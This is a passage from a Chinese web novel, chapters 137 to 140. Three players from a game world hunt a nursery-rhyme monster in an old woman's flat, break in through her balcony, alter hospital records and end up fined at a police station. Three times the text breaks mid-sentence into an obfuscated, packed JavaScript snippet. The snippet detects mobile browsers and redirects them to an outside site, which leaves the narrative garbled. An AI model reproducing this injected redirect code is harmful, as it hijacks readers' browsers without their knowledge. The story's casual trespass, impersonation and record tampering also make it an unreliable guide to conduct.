初与序轻巧地落在文件柜旁,登记册摊开在泛黄的桌面上,402室的记录墨迹新鲜: 「陈桂芳」 「孙女陈小雨(6岁)8.15失踪」 「近期多次投诉家中异响」 「8.16起夜间电表异常」 初与序迅速用手机拍下页面,又从一旁的笔筒里抽出一支圆珠笔,在备注栏补上一行工整的小字: 「8.19日已上门检查,系电视机信号干扰」 她刚合上登记册,门外就传来物业的质问:“你们到底哪个系的?我这就打电话问学校!” 初与序把笔重新塞回笔筒,手指触碰到个东西。她低头一看,那是半张泛黄的童谣歌单,上面印着: 「小钥匙,银闪闪,妈妈回来把门开…」 “找到了!”随歌突然在门外大喊,“学生证在口袋里!” 初与序将纸片塞进口袋,翻身出窗。随歌见她出来,松了口气,拔腿就往远处跑:“学生证真的没带!我们改天再来!” 三人汇合在3楼拐角,随歌擦了把汗:“呼,吓死我了。” “402室的老太太的孙女一周前失踪,家里夜里还有动静。”初与序说着,展开那张残页,童谣下半截只有几个模糊的字: 「…不开不开就不开,妈妈没回来…」 向枝冥抬头望着402室紧关的窗户:“你们看,大夏天的,她家窗帘拉得严严实实,也不怕中暑。” 一阵热风吹过,402室的窗帘微微鼓起,像是有什么东西在后面…轻轻呼吸。 137.陈奶奶 太阳晒得水泥地发烫,随歌蹲在路边,抹了一把额头上的汗水:“你们说,我们就这么去402室,那老太太会让我们进去吗?” “我觉得不会。”向枝冥左右看了看,“在‘现实’我们总不能直接闯进去,否则下一秒就被抓走了。” 随歌的目光忽然落到远处的社区服务中心。他眼睛一亮,猛地站起身:“我有办法了!看我的!” 他走到门口,推门入出,对着柜台后的工作人员露出诚恳的笑容:“大姐您好,我们是市里来做社区调研的大学生,能不能借三件工作服穿穿?就一会儿,走访完马上还回来。” 工作人员是个四十来岁的阿姨,抬头打量他:“有介绍信吗?” 随歌苦下脸来:“阿姨您看,天太热了,我们穿自己衣服走访,居民都不给开门。这大太阳的……” 阿姨看了看窗外白花花的阳光,又看了看随歌被汗水黏在背后的衣服,终于松口:“行吧,就借你们一会啊。” 她从柜子里拿出三件洗得发白的蓝衬衫,胸前的塑料工牌随着动作轻轻晃动:“记得还回来的时候叠整齐。” 向枝冥抱着胳膊看着这一幕,啧啧感叹:“这一趟来,没有随歌真不行。” 初与序赞同地点点头。 三个人中,初与序虽行动力强,但让她堆着笑脸跟人客套周旋,不如指望电线杆自己开口说话;向枝冥更不用说,真要让他去跟人软磨硬泡,说不了三句就会不耐烦,最后要么被人轰出去,要么直接动手。 唯独随歌,天生一张能把死人说活的嘴。 “终于承认我的重要性了?”随歌从门口走出,将另外两件社区工作服塞进二人手里,笑得得意扬扬。 向枝冥嗤笑一声,将工作服往身上一套:“少嘚瑟。” 初与序已经套好衣服,右胳膊蓝衬衫的袖口卷到手肘,露出苍白的手臂,却没露出左胳膊。她回头看了两人,示意他们跟上。 三人站在402室门前,随歌抬手敲门,敲门声在寂静的楼道里格外清晰。 “谁啊……”门内传来沙哑的声音,接着是拖鞋拖沓的响动。 门开了一条缝,陈奶奶浑浊的眼睛从门缝里往出来。她比登记册上写的年纪更显老态,白发稀疏地炸起来,深褐色的老年斑爬满手背。 随歌扬起社区工作人员的标准微笑:“奶奶好,我们是社区来检查电路的,最近天气热,怕线路老化出问题。” 陈奶奶的手在围裙上擦了擦,没动:“上个月不是刚查过吗?” “这次是全市统一检修,您家电表这两天跳得有点快。”随歌扯了扯身上的工作服,“您看,我们穿着社区工作服呢,哪还有假?” 或许是“电表”这两个词触动了什么,又或许是她看到了三人身上的社区工作服,陈奶奶终于拉开了门。 屋内比想象中整洁,但闷热得反常。八月的阳光被厚重的窗帘挡住,一台老式电风扇在角落嗡嗡转着,吹不散空气中潮湿的霉味。 电视柜上摆着个小相框,照片里的小女孩穿着红色连衣裙。餐桌边缘有细长的划痕,像是被什么尖锐的东西反复刮过。所有插座都插满了防触电保护盖。 “电表在厨房那边。”陈奶奶领着他们往里走。突然,她停住脚步,脑袋微微侧向次卧方向。 “小钥匙,银闪闪……妈妈回来把门开……” 苍白、走调的声音从她唇间漏出,又戛然而止。三人对视一眼,随歌状似无意地问:“奶奶您唱的儿歌真好听,是本地童谣吗?” 陈奶奶猛地扭头看他,眼睛亮得吓人:“什么童谣?我没唱!”她快步走向厨房。 随歌挠挠头,压低声音:“我也没说是童谣啊……” 她注意到,陈奶奶哼的歌词和配电房找到的残页部分吻合,她刚才哼唱时,次卧方向会有极轻的声响,像指甲刮擦木门。而现在,室内温度正在莫名下降。 “电表没问题。”陈奶奶从厨房出来,声音突然变得急促,“你们快走吧,我要做饭了。” 随歌还想说什么,次卧突然传来“咚”的一声闷响,像有什么重物掉在地上。陈奶奶脸色瞬间惨白,冲过去死死抵住次卧的门:“是猫!野猫从阳台钻进来了!” 可三人看得清清楚楚,那扇漆皮剥落的木门下方,正缓缓渗出黑色的液体。 忽然,仨人脑海里响起电流杂音,S23的警告断断续续传来:“…思念体…宿主执念…完整童谣…” 陈奶奶的指甲抠进门缝里,她背对着三人,佝偻的脊梁发抖,却又哼起那首童谣:“不开不开就不开…妈妈没回来…” 这次,门内的东西跟着轻轻应和,声音像一百个孩子重叠在一起的耳语。 随歌小步挪到初与序身边,压低声音:“喂,你不觉得这老太太精神不对劲吗?这里是现实,但她的行为像副本NPC一样,触发关键词就暴走,还带强制驱赶玩家的。” 初与序轻轻点头,她上前一步:“奶奶,次卧可能需要检查……” 话没说完,陈奶奶的眼神就变了,她浑浊的眼珠紧缩,枯瘦的手指一把抓起靠在墙边的扫帚,动作快得不像老人。 “出去!都出去!”她的声音尖锐,扫帚劈头盖脸朝三人砸过来,“不准靠近那间房!” 三人被硬生生轰出门外,402的铁门“砰”地一声摔上,震得楼道灰尘簌簌落下。只留下面面相觑的三人。 向枝冥蹲在楼梯口,感叹道:“真没想到,咱三个高层玩家,有一天能被扫地出门。” “这怪物难抓啊,得让S23多给点报酬。”随歌摇摇头。 初与序看着402紧闭的房门,回想起陈奶奶刚才的话: “野猫是从阳台钻进来的!” 402室有阳台。 虽然翻别人家阳台不太道德,但比起让怪物继续留在“现实”,比起S23会被系统格式化,还是可以试一试翻阳台的。 初与序转向两人:“翻阳台。” “非法入侵啊?”随歌挑眉,“胆子够大。” 向枝冥已经站起来拍了拍裤子:“在永冬之城干了无数非法的事情了,又不怕这一时。再说了,这里不是真正的‘现实’。” “行啊。”随歌笑道,“走。” 三人绕到楼后,四层高的老式居民楼外墙斑驳,空调外机错落排列。 随歌仰头望着402室的阳台,下意识伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756052|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手往虚空中一抓,却抓了个空。他反应过来,收回手:“啧,忘了这儿没有系统面板,绳子都掏不出来。” 话音刚落,身边的初与序已经动了。 她后退两步,突然加速前冲,纵身一跃,手指精准扣住一楼窗沿的砖缝。借着墙面的凹凸处和空调外机,几下就攀到了四楼,稳稳落在402室阳台不远处的空调外机上。 向枝冥在下面叉着腰:“可以啊。”他歪头看向随歌,“要不把我们队u谷和你们换换?让初与序来我们队?” 随歌翻了个白眼:“去你的!不能从我们队抢人!” 空调外机上,初与序单膝蹲着,没理会底下的玩笑。她的目光落在阳台,窗帘禁闭,但缝隙间隐约有黑影蠕动。 她朝下面两人打了个手势,轻巧地翻进阳台。屏住呼吸,手指搭上阳台推拉门。 没有锁,门轴发出细微的“吱呀”声,次卧里空荡荡的,单人床上蒙着发黄的床单,小学生作业本散落在书桌上,椅背上挂着一件红色的小连衣裙。 初与序刚迈出一步,墙上的阴影突然活了。 苍白的手指从壁纸花纹里刺出,紧接着是裂至耳根的嘴,细密的尖牙滴着唾液。“童谣敲门者”像被倒出的沥青般从二维平面挣脱,修长的肢体扭曲着扑来! 初与序反应很快,后退避开。 向枝冥推开阳台门冲了进来,一脚踢中怪物头颅。那东西却发出高频尖笑,脖颈180度扭转盯着他。 随歌翻进阳台时差点滑倒:“我操!这建模比永冬之城里掉san一万倍!”他抓起晾衣杆痛向怪物后背,“初与序!弱点强光!” 初与序冲到书桌旁,扯下台灯电线。次卧灯泡突然疯狂闪烁,怪物扑向随歌,她眼疾手快将裸露的铜线按进插座。 短路爆发出的电光如利剑刺穿怪物身躯,它发出婴儿啼哭般的嚎叫,四肢抽搐着缩回墙缝。 “靠,没抓到。”向枝冥咬牙道,“好不容易碰见了,跑得还挺快。” 下一秒,衣柜里突然传来指甲抓挠声。三人对视一眼,小心翼翼地走到衣柜前。初与序缓缓拉开柜门,五六个空衣架轻轻摇晃,最深处用蜡笔写着歪扭的字: 「妈妈的小钥匙藏在哪?」 没等三人弄清楚歌词,房间门突然被推开。 他们猛地回头,陈奶奶站在门口,浑浊的眼睛死死盯着他们,手里还攥着那把扫帚。 空气瞬间凝固,随歌张了张嘴,还没想好怎么编,陈奶奶却浑身一颤。她踉跄着向前两步,手指抓住初与序的袖子,声音嘶哑:“别……别念那首歌……” 下一秒,她眼白一翻,直接昏死过去。 随歌被吓了一跳,后退几步:“我靠!快送到医护中心!” “这里不是永冬之城,哪来的医护中心?!”向枝冥焦急,“快找D19啊!C13也行!” 两人手忙脚乱要去扶人,初与序已经冷静地掏出手机,按下120。 随歌和向枝冥同时僵住:“……” “哈哈…”随歌干笑两声,“在永冬之城待久了,忘记120的电话号码了…” 五分钟后,救护车的鸣笛声划破家属院的寂静。 138.怪物逃走 救护车后舱内,心电监护仪发出规律的“滴滴”声。医护人员给陈奶奶测血糖:“病人长期营养不良,情绪波动导致晕厥。” 她抬头扫了眼三人:“你们是病人家属吗?” 随歌反应快,满脸担忧:“不是,我们是社区志愿者!陈奶奶独居,平时都是我们照顾她。” 向枝冥配合地叹气:“老人家这几天都不肯吃饭,就念叨着要等孙女回来。” “那她孙女呢?”护士皱眉。 初与序平静接话:“失踪了,警方在找。” 护士没有怀疑,不再多问,低头记录病例。 来到医院,陈奶奶被安排在走廊尽头的双人病房里,另一张床是空着的。葡萄糖液顺着透明软管滴入血管,监护仪显示血糖正在缓慢回升。 初与序靠在窗边,压低声音确保没有其他人听见:“怪物是‘思念体’,靠宿主的执念存在。现在宿主昏迷,执念中断。虽然现在怪物被强光影响,躲进了墙壁。但等它恢复,一定会寻找新宿主。” 向枝冥抓了抓头发:“也就是说,如果我们不盯紧,这玩意儿可能随便找个想孩子的家长俯身?然后我们得从头查起?” “没错。”初与序点点头,“医院最不缺的就是‘思念体’,儿科、产科、临终病房比比皆是。” “得把陈奶奶的住院记录锁死,让怪物以为她还清醒!”随歌忽然站起身,掏出手机,“附近有网吧,我现在就去黑系统。怪物受伤暂时没办法亲自来查看,只能通过医院记录得知‘思念体’的状态。” 初与序起身:“我和你一起。” “等一下。”向枝冥从床头柜上摸出医保卡,递给两人,“老太太的医保卡,先拿着,应该有用。” 医院对面巷子里的“极速网吧”人满为患,随歌开机后直接调出cmd窗口:“医疗系统内网有物理隔离,但护士站的电脑肯定连着打印机。” 初与序递过陈奶奶的医保卡:“用这个做跳板。” 五分钟后,医院电子病历系统界面上,陈奶奶的意识状态被改为【清醒】,护理级别上调为【特级监护】,病房号后悄悄添加了备注: 【患者情绪激动,需持续镇静,禁止一切探视】 随歌敲下回车,得意地笑:“搞定!现在别提怪物了,就算主治医师查房,医院系统也会显示老太太又哭又闹要见孙女,不让任何人探视。” 初与序沉默几秒:“那我们呢?” “……” “呃…”随歌敲键盘的手指停住,干笑道。 “好像…我们也不能进去了?” 几分钟后,医院住院部门口。向枝冥正抱着胳膊靠在墙边,一脸不爽地看着拦住他的护士:“我就进去送个饭也不行?明明刚才可以进去陪护的。” 护士铁面无私:“不行!系统显示患者需要绝对静养,家属后面几天再来!” 这时,初与序和随歌匆匆赶到。向枝冥一见到他们就挑眉:“哟,两位黑客回来了?”他指了指紧闭的大门,“拜你们所赐,现在连只苍蝇都飞不进去。” 随歌尴尬道:“这个…伤敌一千自损八百嘛…” 护士警惕地看过来:“你们也是家属?” 初与序面无表情:“路过。” 护士:“……” 三人没办法,只好离开住院部,并排蹲在医院门口的树荫下。 “算了,既然这样,我们先回402。”随歌叹气,抬头看了看天色,“再有两小时就天黑了,正好趁晚上人少,把怪物引出来,看能不能直接收服,带回永冬之城。” 向枝冥打了个哈欠:“行啊,反正比在这儿喂蚊子强。” 三人回到纺织厂家属院,又踩着空调外机翻进402室阳台,屋内已空无一人,连那只“童谣敲门者”都不见了。 向枝冥扫视一圈,确认安全后开口:“好了,布置陷阱吧。” 随歌掏出之前在网吧吧台买到的三台便捷式探照灯,第一台放置在客厅茶几上,对准次卧门;第二台放在餐桌边缘,覆盖厨房及走廊区域;第三台在电视柜顶部,确保无死角覆盖客厅。 每台灯都用胶带固定,角度微调至交叉照射,确保无论怪物从哪个方向突袭,至少会被两束强光同时锁定。 初与序蹲在插座旁,将三个插线板串联起来,确保即使某个线路被破坏,其他灯仍能正常工作。 “要是在副本里,直接放个安楚的‘圣光阵’就完事了。”向枝冥一边抱怨,一边拆下卫生间镜子,用胶带临时固定在次卧门对面的墙上。 “既然这玩意儿怕光,那就让它多照照自己。”他敲了敲镜面。 初与序将手机固定在灯架旁边,摄像头对准次卧门,设置成“动态监测触发”。一旦检测到异常移动,自动开启手机闪光灯补光。 三人退到阳台门口,远离光束范围,向枝冥按下总开关。 “嗡——”一声,三台探照灯同时亮起,刺目的白光将整个客厅照得如同手术室。镜子反射的光斑在墙上交错,形成一张毫无死角的“光网”。 即使是站在阳台边的三人,也被这光线刺得几乎睁不开眼。随歌眯起眼:“这亮度,怪物敢出来就直接瞎了吧?” 初与序感觉不用等怪物变瞎,自己就会被亮得从半瞎变成全瞎。她面无表情:“把开关关了,太刺眼了。” “哦哦哦。”向枝冥老老实实关上开关,客厅立刻暗了下来,只剩窗外昏黄的夕阳余晖渗进。 三人围坐在餐桌旁,初与序从口袋里掏出之前找到的残破纸片,又撕下一张空白作业本,将目前已知的童谣片段一一写下: 【S23在永冬之城给的:】 「……妈妈的小钥匙,」 「打开门的秘密……」 「别让黑暗……」 【物业室的残页和陈奶奶哼唱的:】 「小钥匙,银闪闪,妈妈回来把门开……」 「不开不开就不开,妈妈没回来……」 【次卧衣柜里的涂鸦:】 「妈妈的小钥匙藏在哪?」 初与序将纸片平铺在桌上,点了点:“还缺关键部分。” 向枝冥歪头看了看:“ ‘别让黑暗’后面应该接什么?‘别让黑暗进来’?” “太直白了。”随歌摇摇头,“童谣一般会押韵。”他试着哼了哼,“ ‘别让黑暗……爬进来’?” 初与序盯着纸片看了一会,忽然轻声念:“别让黑暗……找到我?” 话音一落,次卧的门缝下,缓缓渗出一缕黑色黏液。三人同时抬头,向枝冥的手已经按在了强光灯开关上,但接下来又没有一点动静。 “看来这句童谣是对的。”初与序平静地提笔,在「别让黑暗」后面加上「找到我」三个字, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766066|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “目前只有这么几句,但应该可以召唤出怪物。” 窗外,最后一缕夕阳沉入地平线,402室内彻底陷入黑暗。 夜已深,整个家属院陷入死寂,连蝉鸣都消失了。 随歌站在客厅中央,手机手电筒的微弱亮光照着纸上整理的童谣歌词。初与序背贴次卧门旁的墙壁,屏住呼吸。向枝冥半蹲在强光灯开关旁,手指悬在按钮上,目光紧紧盯着次卧方向。 三人对视一眼,随歌的目光落在歌词上。他深吸一口气,低声念道: “妈妈的小钥匙,打开门的秘密,别让黑暗找到我……” “叩、叩、叩。” 次卧的门后,传来三声缓慢、清晰的敲门声。初与序将手轻轻搭在门把手上,一动不动。 五秒后,敲门声再次响起:“叩、叩、叩。”比刚才更快。 随歌继续念诵: “小钥匙,银闪闪,妈妈回来把门开。” “不开不开就不开,妈妈没回来……” “砰!砰!砰!” 敲门声突然爆裂,整扇门震动起来,门缝下渗出黑色液体。 初与序门猛地拉开门,向枝冥按下开关。 惨白的强光灯瞬间照亮整个房间!刺耳的白光中,童谣敲门者扭曲的身影僵在原地。 它苍白的皮肤在强光下显得透明,裂痕下的血肉像蠕动的阴影。无面的头颅低垂,咧至耳根的嘴微微抽搐,细长的手指还维持着敲门的姿势,指甲泛着冷光。 下一秒,怪物发出刺耳的尖啸! 那声音像一百个孩子的哭声混着玻璃碎裂的声响,震得窗户嗡嗡颤抖。 向枝冥死死按出开关,强光灯持续照射:“趁现在!” 童谣敲门者弓起脊背,四肢反折,以一种诡异的姿态弹射而出! 初与序避开,惨白的手指擦着她颈侧划过,在墙壁上留下三道焦黑的抓痕。她反手一记肘击砸向怪物脊背,却像击中一团湿冷的棉花。那东西的躯体在触碰的瞬间虚化,又在她收力时凝视。 向枝冥抄起餐桌上的水壶砸向怪物头颅。“铛!”金属碰撞声震耳欲聋,水壶凹陷变形,怪物却只是歪了歪头,脖颈扭曲180度盯着他,嘴角裂至耳后,发出尖笑。 “念倒转童谣!”随歌咬牙道,他趁机绕到怪物背后,双臂锁住它修长的脖颈触感如同扼住一条冰冷的蟒蛇,皮下有无数细小的东西在蠕动。 怪物突然剧烈挣扎,修长的四肢扒住天花板,猛地将随歌甩向衣柜。他在空中调整姿态,单脚蹬住柜门缓冲,落地时连退三步稳住身形。 初与序踹翻茶几,探照灯的光束直射怪物面部。它发出嚎叫,却突然蜷缩成一团,从天花板坠向正打算念倒转童谣的向枝冥。 “我靠!”向枝冥后仰闪避,怪物擦着他胸前掠过,细长的手指勾住电灯开关线。 “啪!”一声,整个客厅陷入黑暗。 只剩手机的闪光灯,惨白的光斑中,怪物扭曲的影子在墙上无限延伸。 “小兔子乖乖……”孩童的哼唱从四面八方传来,黑色黏液从门缝疯狂涌入。 三人同时后撤至阳台,怪物没有追击,它四肢着地爬回次卧,在消失前最后回头“看”了他们一眼,没有五官的脸缓缓裂开一道微笑。 次卧门无声关闭,客厅里已经一片狼藉,家具翻倒,墙壁上挂着黑色黏液。 139.半夜扰民袭警 趁着怪物刚逃走没多久,初与序抓起桌上的童谣歌词纸:“再念一遍,把它强制召来。”她刚念出第一句:“妈妈的小……” 话音未落,客厅大门突然传来三声清晰的敲门声: “叩、叩、叩。” 三人同时愣住,随歌压低声音:“敲门的门换成客厅的了?” 向枝冥朝两人做了个手势,三人迅速分散至门两侧。初与序贴墙而立,随时准备出击。随歌握住门把,猛地一拉。三人瞬间冲出,借着昏暗的光线直接朝门外的人影攻去! 初与序一拳直击对方胸口,却在触碰时察觉不对。 硬的。 是防弹衣。 她的手腕一把被人扣住,力气极大,一道强光手电筒直射脸上,刺得她偏头闭眼。 “不许动!警察!” 随歌的肘击在半空急刹,向枝冥的扫腿硬生生收出。三人被数名警察飞快反手按在墙上,冰凉的手铐“咔嗒”锁死。 为首的警察厉声喝道:“大半夜私闯民宅,制造噪音扰民,还敢袭警?!” 随歌急得大喊:“误会啊!我们遵纪守法!刚才是在……在排练防身术!” 警察冷笑一声,手电光扫过屋内翻倒的家具、墙上焦黑的抓痕,以及地上那滩未干的黑色黏液。他冷笑地看着被铐住的三人:“全部带走!” 警车刺耳的鸣笛声划破夜空,三人被押进派出所时,还是懵的。 刚进门,一个穿着碎花睡衣的中年妇人就冲了过来,指着他们哭嚎:“警察同志!就是他们三个!就是他们杀了我家旺财!” “我靠?”随歌睁大眼,“我们啥时候杀你家旺财了?还有旺财是什么?” 妇人抹着眼泪:“你们还装不知道!旺财是我家的狗!一条大黄狗!养了八年!今天下午突然死了,嘴角流血,肯定是被人下毒了!” 她越说越激动:“而且就是他们三个!一整天鬼鬼祟祟的,装作社区工作人员在小区里到处跑,我还亲眼看到他们翻阳台了!” 向枝冥挑眉:“但你总没亲眼看见我们杀了你家旺财吧?别污蔑啊。” 妇人瞪大眼睛,指着他们三个,声音尖利:“你们三个这模样,一看就不是好人!”她先指向随歌:“一头黄毛,流里流气的!” 又指向向枝冥:“还打眉钉!小混混!” 最后指着初与序,目光落在她颈动脉处那道已经变得比较明显的伤疤上:“你脖子上还有刀疤,说不定以前就伤过人!能和这两人混在一起的,能是什么好东西?!” 初与序面无表情,只是微微偏头,让衣领遮住了疤痕。 旁边的警察公事公办地拦住妇人:“没有确凿证据,不能单凭貌相判断别人的人品。您先冷静一点,这三个人交给我们调查,如果真有问题,我们一定依法处理。” 妇人还在抽泣:“我可怜的旺财啊……” 随歌小声嘀咕:“忘记‘现实’里面有警察了,不能像在副本里大胆行动。我们这一天真是…先被陈奶奶轰出402,再被当作杀狗狂魔,接下来是不是还得背个银行劫案?” “别急。”向枝冥倒是不急不忙,“说不定待会儿还能领个连环杀手的锅。” 警察敲了敲桌子:“安静!现在,一个一个做笔录!”他朝向枝冥扬了扬下巴,“你先来,另外两个好好等着,别想逃跑。” 虽然在这个“现实”里,公安秩序没有真正的现实里那么严,但也是不好糊弄的。三人陷入“如果在不说出永冬之城和怪物的情况下,解释自己诡异行为”的困境之中。 向枝冥朝身后两人眨眨眼,跟着警察走进审讯室。他对面坐着两位警察,其中一位翻开笔录本,另一位抬头看向他:“姓名?” “向枝冥。” “年龄?” “二十七……三……七,呃,二十七!”向枝冥嘴瓢道。 警察抬头看了他一眼:“职业?” “道士。” 记笔录的警察笔尖一顿,抬起头。向枝冥懒散地靠着椅背,眉钉在冷白的灯光下微微反光,怎么看都不像正经宗教人士。 “道士?”警察皱眉,“哪个道馆的?有证件吗?” “我找找。”向枝冥在口袋里摸索半天,摸出一张折痕明显的道士证,以及一块道教护身木牌,推过去,“青鸾山玄机观的。” 怕警察不信,他又补充了一句:“你们听我名字就能知道我是道士。我师哥取的名,‘追随天地枝脉,探索幽冥’,就这个意思。” 警察检查完证件和护身木牌,语气缓和了些:“说说吧,大半夜翻人家阳台干什么?” 向枝冥叹了口气,摆出一副诚恳的表情:“警察同志,这事儿真不是我们想干。” “那是什么?” “我们仨…算是一块儿研究民俗的。”他斟酌着词句,确保另外两人能猜到他编的理由,“最近听说纺织厂家属院有点‘怪事’,就想去看看。” “什么怪事?” “就是……”他压低声音,“有人说半夜听见小孩唱童谣,但家里根本没有孩子。” 警察的笔停了,眼神变得微妙:“所以你们就非法入侵?” “我们没想偷东西,就是好奇。”向枝冥摊开手,示意自己身上什么东西都没有,“而且那户老太太家里不对劲,我们一进去就感觉阴气重,像是被什么东西缠上了。” 他顿了顿,补充道:“当然,我们是无神论者,就是民俗角度探讨。” 警察盯着他看了几秒,突然问:“那狗呢?” “什么狗?” “报警人说你们毒死了她家的旺财。” 向枝冥嗤笑一声:“我们连狗长啥样都不知道,杀它干嘛?炖火锅啊?” 记笔录的警察一脸严肃,低头写了几个字。另一边的人又问:“你们和户主认识吗?” “不…认识。” “那为什么选她家?” “因为电表异常。”向枝冥解释道,“我们查了社区用电记录,那家半夜耗电量特别高,像是有什么大功率电器一直开着。我们就想看看是不是线路老化,容易起火。上去敲门,结果没人在家。” 这个理由勉强沾边,毕竟电表异常是事实,而且确实涉及安全隐患。警察沉吟片刻,又问:“那你们在屋里找到什么了?” “什么都没找到。”向枝冥睁着眼说瞎话,“刚进去没多久,就被你们逮了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772949|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “为什么袭警?” “太黑了,以为是贼。”向枝冥面不改色,“而且我们胆子小,在阴气重的屋子里害怕,想着先下手为强,结果光线太暗了没看清是咱们警察同志。” 警察盯着他看了一会,示意他可以出去:“让那个染着黄色头发的男生进来。” 向枝冥晃悠悠走出去,和随歌擦肩而过时,朝他递了个眼神。随歌接受眼神,不动声色地坐在询问椅上,笑嘻嘻递冲警察点头:“同志辛苦啊。” 警察没接茬,直接开口:“姓名?” “随歌,随便的随,唱歌的歌。” “年龄?” “二十五……二十?不对,还是二十五。” 警察直接抬起头:“到底多少岁?为什么和向枝冥一样说错自己的年纪?” 嘿,向兄,还挺巧啊。 随歌挠挠头,想着总不能说“自己在一个虚拟世界待了五年,下意识脱口而出25岁。又突然想起现在是‘现实’,慌乱改口自己20。可转念一想,两个世界事件流速相同,自己还是25”。 他灵机一动:“我上网打游戏,想着年龄填年轻一点好,时间长了就把两个年纪弄混了。” 警察:“……” “职业?” 随歌一时不知道怎么说,没来永冬之城之前自己20岁,刚上大一。但现在自己25,总不能还上大一。 “呃…自由职业。”随歌随便扯了一个,“在家里帮人代练游戏账号,有时候创作一点歌。”他赶紧补充,“代练都是正规平台接单,依法纳税的!” 不知道是不是虚假现实的秩序影响,警察竟然没有让他出示游戏账号。 “说说吧,你们三个半夜翻人家阳台干什么?”警察切入正题。 随歌脑子转得飞快,刚才向枝冥出去时给他使了个眼色,他大概猜到那家伙编了什么理由。 “警察同志,这事儿吧。”他解释道,“我们啥算是个…民俗研究小组,就是研究一些民间传说、怪谈之类的。最近听说纺织厂家属院有点‘怪事’,就想去看看。” 见他的说辞和向枝冥一样,警察点了点头,但依旧没有消除怀疑:“什么怪事?说来听听。” 随歌压低声音,神秘兮兮地说:“有人说半夜听见小孩唱童谣,但家里根本没孩子。” “这话刚才那个打眉钉的也说过。” 随歌心里窃喜,证明自己赌对了。他点点头:“对对对,我们是一起的嘛,研究同一个课题。” 警察又询问了几个关于半夜入侵的问题,随歌胡编乱造,竟真的和向枝冥说得大差不差。警察抬头看向随歌:“你们这一整天和报警人养的狗有过接触吗?” “天地良心!”随歌举起三根手指,“我连只蟑螂都不敢踩,怎么可能毒狗?我们最爱护小动物了!” 警察点点头,在随歌快要放松时,突然问:“你们三个怎么认识的?” “永冬之城里……”随歌脱口而出,意识到不对,赶紧找补,“一个打副本BOSS的游戏,打得不错,还发现对方都喜欢研究民俗,就约着面基了。” 警察没发现什么,点点头:“下一个,那小姑娘。” 140.租房子 初与序安静地坐在审讯室内,双手交叠放在桌面。冷白的灯光照在她脸上,衬得颈侧那道疤痕愈发明显。 对面的警察抬头打量她,她和前面那个黄毛小子、眉钉青年不同。这个姑娘气质沉静,怎么看都不像是会半夜和朋友一起翻别人家阳台的人。 当然还是那句话“人不可貌相”。警察开口:“姓名。” “初与序。” “年龄和职业?” “18,刚高考完。” 警察笔尖顿了顿,没料到初与序才成年:“你和刚才那两个人是什么关系?” 初与序面无表情:“网上认识的网友。” “网友?”警察皱眉,“你一个刚成年的小姑娘,大半夜跟两个男网友非法入侵民宅?不怕遇到危险?” “他们打不过我。”初与序抬眼,平静道,“我们也不是去偷东西。”没等警察细细盘问,她已经抢先一步自己解释:“我们去调查民俗现象。” “纺织厂家属院最近有居民反映,半夜听到童谣声,但家里没有孩子。于是我们查了社区用电记录,发现目标住户夜间耗电量异常增高,怀疑可能是线路老化导致磁场变化,引发听觉错觉,” 警察挑眉:“你们还懂这个?” 初与序轻轻点头:“向枝冥是道士,研究风水磁场。随歌对声学感兴趣,我负责数据整理。” “我们原本计划先观察外部环境,再去敲门,但住户不在家,又发现阳台窗户没锁,就进去确认了一下。” “这是违法行为,知道吗?”警察说。 “知道。”初与序垂眼,“我们没动任何东西,也没造成损失。” “还有报警人说的旺财,我们没见过那条狗,我相信你们已经查过监控了。” 她的眼神太干净,警察最终合上笔录本:“行了,你们跟我来。” 三人并排站在调解室内,面前的中年警察用严肃的语气宣布: “非法侵入他人住宅,按《中国人民治安管理处罚法》第四十条规定,可以处十日以上十五日一下拘留。”他的目光扫过三人,“但考虑到你们是初犯,没有盗窃行为,也未造成实际财务损失。” 他停顿一下,从抽屉里取出处罚决定书:“现决定对你们三个各处八百元罚款,予以批评教育。” 警察把签字笔推到桌前:“在这里签字确认。” 向枝冥第一个上前,龙飞凤舞地签下名字。随歌跟着签字时,忍不住小声嘀咕:“八百块啊…够我吃半个月泡面了。” “有问题?”警察抬眼。 “没有没有!”随歌立刻赔笑,飞快签完。 初与序安静地签完字,把笔放回原处。警察站起身:“处罚决定书收好,现在去财务室交罚款。记住,下不为例。” 三人走出调解室时,那个失去狗的妇人还不甘心地盯着他们看,被警察劝说。派出所的挂钟指向凌晨四点,透过玻璃门,能看到东方已经泛起鱼肚白。 随歌站在派出所开口,揉着后颈:“如果旺财没死,我们就不会被当作杀狗的,警察就不会来,咱们溜进402就不会被发现,我就不会被罚款八百块……总而言之,天杀的杀狗犯!” 